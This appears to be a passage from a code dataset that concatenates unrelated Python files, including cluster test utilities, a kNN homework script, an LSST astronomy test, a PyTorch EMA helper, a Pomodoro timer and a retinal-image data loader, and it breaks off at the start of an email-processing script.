create_db_test_cluster_model_object(context, **kw):\n \"\"\"Create test Cluster DB model object.\n\n :param kw: kwargs with overriding values for cluster's attributes.\n :returns: Test Cluster DB model object.\n\n \"\"\"\n test_cluster = get_test_cluster(**kw)\n\n cluster_parameters = {\n 'name': test_cluster['name'],\n 'network_id': test_cluster['network_id'],\n 'flavor': test_cluster['flavor'],\n 'size': test_cluster['size'],\n 'volume_size': test_cluster['volume_size'],\n 'id': test_cluster['id'],\n 'project_id': test_cluster['project_id'],\n 'status': test_cluster['status'],\n 'deleted': test_cluster['deleted'],\n 'created_at': test_cluster['created_at'],\n 'updated_at': test_cluster['updated_at'],\n 'deleted_at': test_cluster['deleted_at'],\n }\n\n new_cluster = models.Cluster()\n new_cluster.update(cluster_parameters)\n\n return new_cluster\n\n\ndef get_endpoints_in_cluster(context, cluster_id):\n nodes = objects.Node.get_nodes_by_cluster_id(context, cluster_id)\n all_endpoints = []\n for node in nodes:\n endpoints = objects.Endpoint.get_endpoints_by_node_id(context,\n node.id)\n node_endpoints_dict = [obj_endpoint.as_dict()\n for obj_endpoint in endpoints]\n\n all_endpoints.extend(node_endpoints_dict)\n\n return all_endpoints\n\n\ndef get_test_endpoint_dict(**kw):\n return {\n 'id': kw.get('id', '4ddedb63-ac35-48b7-84ef-f929fb6b065e'),\n 'node_id': kw.get('node_id', '1be26c0b-03f2-4d2e-ae87-c02d7f33c781'),\n 'uri': kw.get('uri', '10.0.0.1:5672'),\n 'type': kw.get('type', 'AMQP')\n }\n\n\ndef get_test_node_dict(**kw):\n return {\n 'id': kw.get('id', '60abae56-b947-4401-99ad-29e4643c6249'),\n 'cluster_id': kw.get('cluster_id',\n '1be26c0b-03f2-4d2e-ae87-c02d7f33c781'\n ),\n 'instance_id': kw.get('instance_id',\n 'b7cf7433-60f7-4d09-a759-cee12d8a3cb3'),\n 'flavor': kw.get('flavor', 'm1.tiny'),\n 'status': kw.get('status', 'BUILDING'),\n 'management_ip': kw.get('management_ip', '172.1.1.1'),\n 'created_at': kw.get('created_at', timeutils.utcnow()),\n 'updated_at': kw.get('updated_at', timeutils.utcnow()),\n 'deleted_at': kw.get('deleted_at', None)\n }\n\n\ndef get_test_broker_dict(**kw):\n return {\n 'id': kw.get('id', 'dd069f34-ea4a-11e4-b02c-1681e6b88ec1'),\n 'name': kw.get('name', 'rabbitmq3.2'),\n 'active': kw.get('active', 1),\n 'deleted': kw.get('deleted', False),\n 'created_at': kw.get('created_at', timeutils.utcnow()),\n 'updated_at': kw.get('updated_at', timeutils.utcnow()),\n 'deleted_at': kw.get('deleted_at', None)\n }\n\n\ndef get_test_broker_metadata_dict(**kw):\n return {\n 'id': kw.get('id', 'cf8745de-ea4a-11e4-b02c-1681e6b88ec1'),\n 'broker_id': kw.get('broker_id',\n 'dd069f34-ea4a-11e4-b02c-1681e6b88ec1'),\n 'key': kw.get('key', 'IMAGE'),\n 'value': kw.get('value', '10c98052-ea4b-11e4-b02c-1681e6b88ec1'),\n 'deleted': kw.get('deleted', False),\n 'created_at': kw.get('created_at', timeutils.utcnow()),\n 'updated_at': kw.get('updated_at', timeutils.utcnow()),\n 'deleted_at': kw.get('deleted_at', None)\n }\n\n\ndef create_object_cluster(context, **kw):\n \"\"\"Create test Cluster entry in DB from objects API and return Cluster\n\n object.\n \"\"\"\n test_cluster_dict = get_test_cluster(**kw)\n new_cluster = objects.Cluster(**test_cluster_dict)\n new_cluster.create(context)\n return new_cluster\n","sub_path":"cue/tests/functional/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"385951747","text":"import numpy as np\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nfrom collections import Counter\n\n\n# load mini training data and labels\nmini_train = np.load('knn_minitrain.npy')\nmini_train_label = np.load('knn_minitrain_label.npy')\n\n# randomly generate test data\nmini_test = np.random.randint(20, size=20)\nmini_test = mini_test.reshape(10,2)\n\n\n# Define knn classifier\ndef kNNClassify(newInput, dataSet, labels, k):\n Inf=999\n result=[]\n ########################\n # Input your code here #\n ########################\n for i in mini_test:\n L2=[]\n for j in mini_train:\n L2_dist=np.sqrt((i[0]-j[0])**2+(i[1]-j[1])**2)\n L2.append(L2_dist)\n Min_list=[]\n for a in range(k):\n Min_list.append(L2.index(min(L2)))\n L2[L2.index(min(L2))]=Inf\n classifier=[]\n for b in Min_list:\n classifier.append(mini_train_label[b])\n #print(classifier)\n result.append(Counter(classifier).most_common(1)[0][0]) \n ####################\n # End of your code #\n ####################\n return result\n\noutputlabels=kNNClassify(mini_test,mini_train,mini_train_label,6)\n\nprint ('random test points are:', mini_test)\nprint ('knn classfied labels for test:', outputlabels)\n# plot train data and classfied test data\ntrain_x = mini_train[:,0]\ntrain_y = mini_train[:,1]\nfig = plt.figure()\nplt.scatter(train_x[np.where(mini_train_label==0)], train_y[np.where(mini_train_label==0)], color='red')\nplt.scatter(train_x[np.where(mini_train_label==1)], train_y[np.where(mini_train_label==1)], color='blue')\nplt.scatter(train_x[np.where(mini_train_label==2)], train_y[np.where(mini_train_label==2)], color='yellow')\nplt.scatter(train_x[np.where(mini_train_label==3)], train_y[np.where(mini_train_label==3)], color='black')\n\ntest_x = mini_test[:,0]\ntest_y = mini_test[:,1]\noutputlabels = np.array(outputlabels)\nplt.scatter(test_x[np.where(outputlabels==0)], test_y[np.where(outputlabels==0)], marker='^', color='red')\nplt.scatter(test_x[np.where(outputlabels==1)], test_y[np.where(outputlabels==1)], marker='^', color='blue')\nplt.scatter(test_x[np.where(outputlabels==2)], test_y[np.where(outputlabels==2)], marker='^', color='yellow')\nplt.scatter(test_x[np.where(outputlabels==3)], test_y[np.where(outputlabels==3)], marker='^', color='black')\n\n#save diagram as png file\nplt.savefig(\"miniknn.png\")\n","sub_path":"DeepLearning/Homework1/Homework1_P2/miniknn.py","file_name":"miniknn.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"186370762","text":"#!/usr/bin/env python\n\n#\n# LSST Data Management System\n# Copyright 2008, 2009, 2010, 2011, 2012, 2013 LSST Corporation.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program. If not,\n# see .\n#\n\n\"\"\"Test lsst.obs.sdss.selectFluxMag0Task and integration with lsst.obs.sdss.scaleSdssZeroPointTask\n\"\"\"\nfrom __future__ import print_function\nfrom builtins import object\nimport unittest\nimport sys\n\nimport lsst.utils.tests\nimport lsst.daf.base\nfrom lsst.daf.persistence import DbAuth\nimport lsst.afw.geom as afwGeom\nimport lsst.afw.image as afwImage\nimport lsst.afw.math as afwMath\nimport lsst.afw.coord as afwCoord\nfrom lsst.obs.sdss.scaleSdssZeroPoint import ScaleSdssZeroPointTask\nfrom lsst.obs.sdss.selectFluxMag0 import SelectSdssFluxMag0Task\n\nconfig = ScaleSdssZeroPointTask.ConfigClass()\n\n# Some of the tests require loading SDSS images from \"lsst-db.ncsa.illinois.edu\" and\n# require a login name and password. If the test is unable to connect to the external data,\n# some of the tests are skipped.\nnoConnection = False\ntry:\n DbAuth.username(config.selectFluxMag0.host, str(config.selectFluxMag0.port))\nexcept Exception as e:\n print(\"Did not find host={0}, port={1} in your db-auth file; \\nWarning generated: {2} \".format(\n config.selectFluxMag0.host, str(config.selectFluxMag0.port), e), file=sys.stderr)\n noConnection = True\n\n\nclass WrapDataId(object):\n \"\"\"A container for dataId that looks like dataRef to computeImageScaler()\n \"\"\"\n\n def __init__(self, dataId):\n self.dataId = dataId\n\n\nclass ScaleSdssZeroPointTaskTestCase(lsst.utils.tests.TestCase):\n \"\"\"A test case for ScaleSdssZeroPointTask\n \"\"\"\n\n def makeTestExposure(self, xNumPix=2060, yNumPix=1967):\n \"\"\"\n Create and return an exposure with wcs. Wcs is chosen such that the exposure is\n completely covered by the Science_Ccd_Exposure table in the database: test_select_sdss_images\n \"\"\"\n metadata = lsst.daf.base.PropertySet()\n metadata.set(\"NAXIS\", 2)\n metadata.set(\"RADECSYS\", \"ICRS\")\n metadata.set(\"EQUINOX\", 2000.)\n metadata.setDouble(\"CRVAL1\", 315.)\n metadata.setDouble(\"CRVAL2\", 0.)\n metadata.setDouble(\"CRPIX1\", 68030.)\n metadata.setDouble(\"CRPIX2\", 30.)\n metadata.set(\"CTYPE1\", \"RA---CEA\")\n metadata.set(\"CTYPE2\", \"DEC--CEA\")\n metadata.setDouble(\"CD1_1\", -0.00011)\n metadata.setDouble(\"CD1_2\", 0.000000)\n metadata.setDouble(\"CD2_2\", 0.000110)\n metadata.setDouble(\"CD2_1\", 0.000000)\n metadata.set(\"CUNIT1\", \"deg\")\n metadata.set(\"CUNIT2\", \"deg\")\n metadata.set(\"LTV1\", -341970)\n metadata.set(\"LTV2\", -11412)\n # exposure needs a wcs and a bbox\n wcs = afwGeom.makeSkyWcs(metadata)\n bbox = afwGeom.Box2I(afwGeom.Point2I(341970, 11412), afwGeom.Extent2I(xNumPix, yNumPix))\n exposure = afwImage.ExposureF(bbox, wcs)\n mi = exposure.getMaskedImage()\n mi.set(1.0)\n mi.getVariance().set(1.0)\n return exposure\n\n @unittest.skipIf(noConnection, \"No remote connection to SDSS image database\")\n def testSelectFluxMag0(self):\n \"\"\"Test SelectFluxMag0\"\"\"\n config = SelectSdssFluxMag0Task.ConfigClass()\n config.database = \"test_select_sdss_images\"\n task = SelectSdssFluxMag0Task(config=config)\n run = 4192\n filter = 'i'\n dataId = {'run': run, \"filter\": filter}\n coordList = [afwCoord.Coord(5.62839*afwGeom.radians, -5.66359e-05*afwGeom.radians),\n afwCoord.Coord(5.62444*afwGeom.radians, -5.66359e-05*afwGeom.radians),\n afwCoord.Coord(5.62444*afwGeom.radians, 0.00371974*afwGeom.radians),\n afwCoord.Coord(5.62839*afwGeom.radians, 0.00371974*afwGeom.radians)]\n fmInfoStruct = task.run(dataId, coordList)\n fmInfoList = fmInfoStruct.fluxMagInfoList\n self.assertEqual(2, len(fmInfoList))\n\n @unittest.skipIf(noConnection, \"No remote connection to SDSS image database\")\n def testScaleZeroPoint(self):\n ZEROPOINT = 27\n self.sctrl = afwMath.StatisticsControl()\n self.sctrl.setNanSafe(True)\n\n config = ScaleSdssZeroPointTask.ConfigClass()\n config.zeroPoint = ZEROPOINT\n config.interpStyle = \"NATURAL_SPLINE\"\n config.selectFluxMag0.database = \"test_select_sdss_images\"\n zpScaler = ScaleSdssZeroPointTask(config=config)\n\n outCalib = zpScaler.getCalib()\n self.assertAlmostEqual(outCalib.getMagnitude(1.0), ZEROPOINT)\n\n exposure = self.makeTestExposure()\n # create dataId for exposure. Visit is only field needed. Others ignored.\n exposureId = {'ignore_fake_key': 1234, 'run': 4192, 'filter': 'i'}\n\n # test methods: computeImageScale(), scaleMaskedImage(), getInterpImage()\n dataRef = WrapDataId(exposureId)\n imageScaler = zpScaler.computeImageScaler(exposure, dataRef)\n scaleFactorIm = imageScaler.getInterpImage(exposure.getBBox())\n\n predScale = 0.402867736 # image mean for \"NATURAL_SPLINE\"\n self.assertAlmostEqual(afwMath.makeStatistics(scaleFactorIm, afwMath.MEAN, self.sctrl).getValue(),\n predScale)\n\n mi = exposure.getMaskedImage()\n imageScaler.scaleMaskedImage(mi)\n pixel11 = scaleFactorIm.getArray()[1, 1]\n self.assertAlmostEqual(mi.get(1, 1)[0], pixel11) # check image plane scaled\n self.assertAlmostEqual(mi.get(1, 1)[2], pixel11**2) # check variance plane scaled\n\n exposure.setCalib(zpScaler.getCalib())\n self.assertAlmostEqual(exposure.getCalib().getFlux(ZEROPOINT), 1.0)\n\n def makeCalib(self, zeroPoint):\n calib = afwImage.Calib()\n fluxMag0 = 10**(0.4 * zeroPoint)\n calib.setFluxMag0(fluxMag0, 1.0)\n return calib\n\n\nclass TestMemory(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n lsst.utils.tests.init()\n unittest.main()\n","sub_path":"tests/test_selectFluxMag0.py","file_name":"test_selectFluxMag0.py","file_ext":"py","file_size_in_byte":6699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"16586604","text":"from argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nfrom typing import List\n\nfrom tqdm import tqdm\n\nfrom textgrid_tools_cli.globals import ExecutionResult\nfrom textgrid_tools_cli.helper import (add_directory_argument, add_encoding_argument,\n get_audio_files, parse_txt_path)\nfrom textgrid_tools_cli.logging_configuration import init_and_get_console_logger\n\n\ndef get_audio_paths_exporting_parser(parser: ArgumentParser):\n parser.description = \"This command exports all paths of all audio into one text file.\"\n add_directory_argument(parser)\n parser.add_argument(\"output\", type=parse_txt_path, metavar=\"OUTPUT\",\n help=\"path to output the paths (*.txt)\")\n add_encoding_argument(parser, \"OUTPUT encoding\")\n return export_audio_paths_ns\n\n\ndef export_audio_paths_ns(ns: Namespace) -> ExecutionResult:\n logger = init_and_get_console_logger(__name__)\n\n audio_files = get_audio_files(ns.directory)\n\n paths: List[str] = []\n for file_nr, (file_stem, rel_path) in enumerate(tqdm(audio_files.items()), start=1):\n audio_file_in_abs: Path = ns.directory / rel_path\n paths.append(str(audio_file_in_abs.absolute()))\n\n txt = \"\\n\".join(paths)\n\n ns.output.parent.mkdir(parents=True, exist_ok=True)\n ns.output.write_text(txt, ns.encoding)\n logger.info(f\"Exported {len(paths)} path(s) to: \\\"{ns.output.absolute()}\\\".\")\n\n return True, True\n","sub_path":"src/textgrid_tools_cli/grids/audio_paths_exporting.py","file_name":"audio_paths_exporting.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"407262379","text":"\"\"\"\nMake a png/pdf of a single frame.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport matplotlib.colors as colors\n#from matplotlib import cm\nimport matplotlib.ticker as ticker\n\nimport sys\n#functions written by D.M. to get and plot specific data files\nimport data_importerDM as di\n\nplt.rc('font', size=20)\n\n\n#--------------------------------------------------------------\n#add pin locations to scatter plot\n#--------------------------------------------------------------\ndef plot_pins(scatter_axis, size=75,pin_file=\"pin_array.dat\"):\n '''plot the pinning array from ascii file with pin_file:\n --------------------------------------------------\n n x y radius mag\n int float float float float\n ---------------------------------------------------\n required args:\n scatter_axis = matplotlib axes object\n\n optional args:\n size=75, to plot pin radius\n pin_file=\"pin_array.dat\"\n '''\n try: \n pin_data = di.get_data(pin_file,5,sep=\" \")\n except:\n print(\"No pinning data in expected format\")\n return\n pin_x = pin_data[1]\n pin_y = pin_data[2]\n pin_rad = pin_data[3]\n pin_mag = pin_data[4]\n\n scatter_axis.scatter(pin_x,pin_y,c=\"gray\",alpha=0.4,s=size) #,rasterized=True)\n\n return\n\n\n################################################################\n################################################################\n################################################################\n\nif __name__ == \"__main__\":\n\n\n #---------------------------\n #system specific variables\n #---------------------------\n disk_size=30\n\n Sx=[0,60.0]\n Sy=[0,60.0]\n\n plot_time= 199950 #9950 #what frame to plot\n #---------------------------\n #Set up a gridded figure\n #---------------------------\n rows=1\n columns=1\n\n gs=gridspec.GridSpec(rows,columns)\n fig = plt.figure(figsize=(6*columns,6*rows))\n\n ax1 = fig.add_subplot(gs[:]) #scatter plot of particles\n\n #---------------------------------\n #add labels and axes ticks\n #-----------------------------------\n ax1.set_xlabel(\"x\")\n ax1.set_ylabel(\"y\")\n ax1.set_ylim(0,Sy[1])\n ax1.set_xlim(0,Sx[1])\n num_ticks=6\n ax1.xaxis.set_major_locator(ticker.MaxNLocator(num_ticks))\n ax1.yaxis.set_major_locator(ticker.MaxNLocator(num_ticks))\n\n #------------------------------------------------------------------------\n #get data for initial frame, \n #------------------------------------------------------------------------\n \n datafile_prefix = \"velocity_data/XV_data_t=\"\n plot_file=datafile_prefix+\"%08d\"%(plot_time)\n particle_data = di.get_data(plot_file,7,sep=\" \")\n \n id = particle_data[0] #NOT USED\n type = particle_data[1] #1 OR 2, SETS SIZE, FIXED FOR ANIMATION\n xp = particle_data[2] #DYMAMICALLY UPDATED POSITIONS\n yp = particle_data[3]\n\n #DON'T BOTHER WITH THESE PARAMETERS\n #vx = particle_data[4]\n #vy = particle_data[5]\n #speed = particle_data[6]\n\n #RESIZE PARTICLES BASED ON TYPE \n #not efficient - python can do this much faster\n #than this c-like array\n #since we only do this once, that is fine. multiple times? fix!\n\n size = np.zeros(len(type))\n for k in range(len(type)):\n if type[k]==1:\n size[k]=disk_size\n \n\n #make a two color map \n mycmap = colors.ListedColormap(['cornflowerblue', 'red'])\n\n #---------------------------------------------------------\n #Finally plot the data\n #---------------------------------------------------------\n plot_pins(ax1,size=disk_size)\n scatter1=ax1.scatter(xp,yp,c=type,s=size,cmap=mycmap)\n\n #------------------------------------------------------------------------\n # (turned off) add an annotation\n # note: \"force\" was for a different system, here time is relevant\n #------------------------------------------------------------------------\n if 0:\n force_template = r'$F_D/F_p = %1.2f$'\n #force_template = r'time = %d' \n force_text = ax1.text(0.5, 1.05, '', ha='center',\n transform=ax1.transAxes,fontsize=22)\n\n out_name=\"scatter_figure.png\"\n fig.savefig(out_name)\n \n sys.exit()\n","sub_path":"bckp/make_image.py","file_name":"make_image.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"34714025","text":"from copy import deepcopy\nimport torch\nimport torch.nn as nn\nfrom uninas.methods.abstract import AbstractMethod\nfrom uninas.training.devices.abstract import AbstractDevicesManager\nfrom uninas.utils.loggers.python import Logger\n\n\nclass ModelEMA:\n \"\"\"\n Updates an Exponential Moving Average weight copy of the give 'model', using given 'decay' on the given 'device'\n\n Since this model uses a backward hook (before the update step), the very last update will not be applied.\n However, it also makes using this model very easy, since it is updated automatically.\n \"\"\"\n\n devices = ['disabled', 'cpu', 'same']\n\n def __init__(self, model: AbstractMethod, decay=0.9999, device='same'):\n assert 1 > decay > 0\n self.module = deepcopy(model)\n self.module.eval()\n self.decay = decay\n self.decay_m = 1 - decay\n self.is_same_device = device == 'same'\n self._handle = None\n\n # set device\n if device == 'cpu':\n self.module.cpu()\n elif device == 'same':\n device = AbstractDevicesManager.get_device(model)\n self.module.to(device)\n else:\n raise NotImplementedError('Device \"%s\" can not be handled' % device)\n self.device = device\n\n # register a hook, to trigger 'on_backward' whenever gradients are calculated\n self._handle = model.register_backward_hook(self.on_backward)\n\n @classmethod\n def maybe_init(cls, logger: Logger, model: AbstractMethod, decay=0.9999, device='disabled'):\n \"\"\"\n :param logger:\n :param model: model which weights' to track\n :param decay: EMA decay\n :param device: device to place upon\n :return: ModelEMA if a device is given and the decay is in [0, 1]\n \"\"\"\n assert device in cls.devices\n if device == cls.devices[0]:\n logger.info('Will not use an EMA model (disabled)')\n elif (decay <= 0.0) or (decay >= 1.0):\n logger.info('Will not use an EMA model (bad decay: %f)' % decay)\n else:\n logger.info('Adding an EMA model on device: %s' % device)\n return cls(model, decay, device)\n return None\n\n @property\n def current_epoch(self):\n return self.module.current_epoch\n\n def update(self, method: AbstractMethod):\n self.module.trained_epochs = method.trained_epochs\n self.module._current_epoch = method.current_epoch\n\n def __call__(self, *args, **kwargs):\n if self.module.testing:\n return self.module.test_step(*args, **kwargs)\n return self.module.validation_step(*args, **kwargs)\n\n def validation_step(self, *args, **kwargs):\n return self.module.validation_step(*args, **kwargs)\n\n def test_step(self, *args, **kwargs):\n return self.module.test_step(*args, **kwargs)\n\n def train(self):\n pass\n\n def eval(self):\n pass\n\n def on_backward(self, model: nn.Module, *_):\n with torch.no_grad():\n # parameters\n for i, ((n0, p0), (n1, p1)) in enumerate(zip(model.named_parameters(), self.module.named_parameters())):\n assert n0 == n1\n p1.mul_(self.decay).add_(p0.data.to(self.device), alpha=self.decay_m)\n # buffers, integer values have to be copied fully (e.g. BN num batches tracked)\n for i, ((n0, p0), (n1, p1)) in enumerate(zip(model.named_buffers(), self.module.named_buffers())):\n assert n0 == n1\n if p0.dtype in (torch.float64, torch.float32, torch.float16):\n p1.mul_(self.decay).add_(p0.data.to(self.device), alpha=self.decay_m)\n else:\n p1.data = p0.data.to(self.device)\n\n def stop(self):\n self._handle.remove()\n self._handle = None\n","sub_path":"uninas/utils/torch/ema.py","file_name":"ema.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"362217927","text":"from Cython.Build import cythonize\nfrom Cython.Distutils import build_ext\nfrom setuptools import setup\nfrom setuptools.extension import Extension\nimport numpy\n\ncompile_flags = ['-std=c++11']\n##compile_flags = ['-stdlib=libc++','-mmacosx-version-min=10.7']\n\nsetup(\n ext_modules=cythonize(\n [\n Extension('lib.target_encoding_cpp', \n ['target_encoding.pyx'], \n languate='c++',\n include_dirs=[numpy.get_include()],\n extra_compile_args=compile_flags)\n\n ],\n build_dir='build',\n compiler_directives=dict(\n always_allow_keywords=True, language_level=3\n )\n ),\n cmdclass=dict(\n build_ext=build_ext\n )\n)\n","sub_path":"Week02/homework_debug_unfix/normal/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"295453473","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport shlex\nimport sphinx_rtd_theme\n\nsys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\nextensions = []\ntemplates_path = ['_templates']\nsource_suffix = '.rst'\n#source_encoding = 'utf-8-sig'\nmaster_doc = 'index'\n\nproject = u'Linked Lists'\ncopyright = u'2015, Roie R. Black'\nauthor = u'Roie R. Black'\nversion = '0.1'\nrelease = '0.1'\nlanguage = None\ntoday_fmt = '%B %d, %Y'\n\nexclude_patterns = ['_build', '_venv']\npygments_style = 'sphinx'\ntodo_include_todos = False\n\n# -- Options for HTML output ----------------------------------------------\nhtml_theme = 'sphinx_rtd_theme'\n#html_theme_options = {}\nhtml_theme_path = [sphinx_rtd_theme.get_html_theme_path()]\n#html_title = None\n#html_short_title = None\n#html_logo = None\n#html_favicon = None\nhtml_static_path = ['_static']\nhtml_last_updated_fmt = '%b %d, %Y'\nhtml_show_sphinx = True\nhtml_show_copyright = True\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n'papersize': 'letterpaper',\n'pointsize': '11pt',\n\n# Latex figure (float) alignment\n'figure_align': 'htbp',\n}\n\nlatex_documents = [\n (master_doc, 'mandlebrot.tex', u'Bitmapped Mandlebrot',\n u'Roie R. Black', 'manual'),\n]\n","sub_path":"documentation/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"363263005","text":"from tkinter import *\nimport math\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\nCHECK_MARK = \"✓\"\n\n# ---------------------------- GLOBAL VARIABLES ------------------------------- #\nreps = 0\ntimer = None\n\n# ---------------------------- TIMER RESET ------------------------------- #\n\n\ndef reset_timer():\n window.after_cancel(timer)\n canvas.itemconfig(timer_text, text=\"00:00\")\n title_label.config(text=\"Timer\")\n check_marks_label.config(text=\"\")\n global reps\n reps = 0\n\n\n# ---------------------------- TIMER MECHANISM ------------------------------- #\n\n\ndef start_timer():\n global reps\n reps += 1\n\n work_time_in_seconds = WORK_MIN * 60\n short_break_in_seconds = SHORT_BREAK_MIN * 60\n long_break_in_seconds = LONG_BREAK_MIN * 60\n\n rep_modulo = reps % 8\n if rep_modulo % 2 == 1:\n # Work Time\n count_down_time_in_seconds = work_time_in_seconds\n title_label.config(text=\"Work\", fg=GREEN)\n elif rep_modulo == 0:\n # Long Break\n count_down_time_in_seconds = long_break_in_seconds\n title_label.config(text=\"Break\", fg=RED)\n else:\n count_down_time_in_seconds = short_break_in_seconds\n title_label.config(text=\"Break\", fg=PINK)\n count_down(count_down_time_in_seconds)\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- #\n\n\ndef count_down(count):\n minutes_left = math.floor(count / 60)\n seconds_left = count % 60\n if seconds_left < 10:\n seconds_left = f\"0{seconds_left}\"\n # Python is strongly typed, but also has Dynamic Typing\n # Strongly typed - Strong typing means that the type of a value doesn't change in unexpected ways. A string\n # containing only digits doesn't magically become a number, as may happen in Perl. Every change of type\n # requires an explicit conversion.Each variable has a type and it remembers its type. If you do an operation\n # which is not supported on the type, you will get a 'TypeError'. e.g. trying to do ** (power) operation\n # on a string.\n # Dynamic Typing - Dynamic typing means that runtime objects (values) have a type, as opposed to static typing\n # where variables have a type. In python, you are allowed to change the type of a variable. e.g. here we are\n # changing the type of 'seconds_left' variable from int to str.\n canvas.itemconfig(timer_text, text=f\"{minutes_left}:{seconds_left}\")\n if count > 0:\n global timer\n timer = window.after(1000, count_down, count - 1)\n else:\n start_timer()\n check_marks_text = \"\"\n num_check_marks = math.floor(reps / 2)\n for i in range(num_check_marks):\n check_marks_text += CHECK_MARK\n check_marks_label.config(text=check_marks_text)\n\n\n# ---------------------------- UI SETUP ------------------------------- #\nwindow = Tk()\nwindow.title(\"Pomodoro\")\nwindow.config(padx=100, pady=50, bg=YELLOW)\n\ntitle_label = Label(text=\"Timer\", font=(FONT_NAME, 50), fg=GREEN, bg=YELLOW)\ntitle_label.grid(row=0, column=1)\n\ntomato_image = PhotoImage(file=\"tomato.png\")\ncanvas = Canvas(width=200, height=224, bg=YELLOW, highlightthickness=0) # same as tomato.png\ncanvas.create_image(100, 112, image=tomato_image) # half of above\ntimer_text = canvas.create_text(100, 130, text=\"00:00\", fill=\"white\", font=(FONT_NAME, 35, \"bold\"))\ncanvas.grid(row=1, column=1)\n\nstart_button = Button(text=\"Start\", highlightbackground=YELLOW, foreground=RED, command=start_timer)\nstart_button.grid(row=2, column=0)\n\nreset_button = Button(text=\"Reset\", highlightbackground=YELLOW, foreground=RED, command=reset_timer)\nreset_button.grid(row=2, column=2)\n\ncheck_marks_label = Label(font=(FONT_NAME, 25), fg=GREEN, bg=YELLOW)\ncheck_marks_label.grid(row=3, column=1)\n\nwindow.mainloop()\n","sub_path":"section_04_intermediate/lesson_07_pomodoro/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"240697613","text":"import numpy as np\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport torch\r\nimport os\r\nfrom torch.utils.data import Dataset\r\n\r\nclass DRIVE_Loader(Dataset):\r\n def __init__(self, img_dir, mask_dir, img_size=(512, 512), mode='train'):\r\n self.img_dir = img_dir\r\n self.mask_dir = mask_dir\r\n self.img_size = img_size\r\n self.mode = mode\r\n self.file_list = os.listdir(img_dir)\r\n # 以8:2的比例分割数据集作为训练集和验证集\r\n self.split_dataset(0.8)\r\n\r\n def split_dataset(self, ratio):\r\n # 分割训练集和验证集\r\n train_len = int(ratio*len(self.file_list))\r\n if self.mode == 'train':\r\n self.file_list = self.file_list[:train_len]\r\n else:\r\n self.file_list = self.file_list[train_len:]\r\n\r\n def __len__(self):\r\n return len(self.file_list)\r\n\r\n def __getitem__(self, item):\r\n # 生成输入图片和掩模的文件路径\r\n img_file = os.path.join(self.img_dir, self.file_list[item])\r\n mask_file = os.path.join(self.mask_dir, self.file_list[item].replace(\"tif\", \"gif\"))\r\n # img 和 mask 采用pillow读取,然后采用双线性插值(Bilinear)缩放成需要的尺寸\r\n img = np.array(Image.open(img_file).resize(self.img_size, Image.BILINEAR))\r\n mask = np.array(Image.open(mask_file).resize(self.img_size, Image.BILINEAR))\r\n # 如果读取的掩模是单通道图片,增加一个维度变成形如(224,224,1)\r\n if len(mask.shape)==2:\r\n mask = np.expand_dims(mask, axis=2)\r\n # HWC to CHW\r\n img = img.transpose((2, 0, 1))\r\n mask = mask.transpose((2, 0, 1))\r\n mask = mask / 255.0\r\n # 转换数据类型\r\n img = img.astype(np.float32)\r\n mask = mask.astype(np.float32)\r\n return torch.from_numpy(img), torch.from_numpy(mask)\r\n\r\nif __name__ == \"__main__\":\r\n loader = DRIVE_Loader(\"./data/training/images\", \"./data/training/1st_manual\", (224, 224))\r\n img, mask = loader.__getitem__(0)\r\n # 可视化展示\r\n plt.subplot(121)\r\n plt.imshow(img)\r\n plt.subplot(122)\r\n plt.imshow(mask)\r\n plt.show()","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"368131356","text":"\"\"\"\nFile: process.py\n\nAuthor: Kayvon Khosrowpour\nDescription: processes the emails in Outlook. Much code is repurposed\nfrom 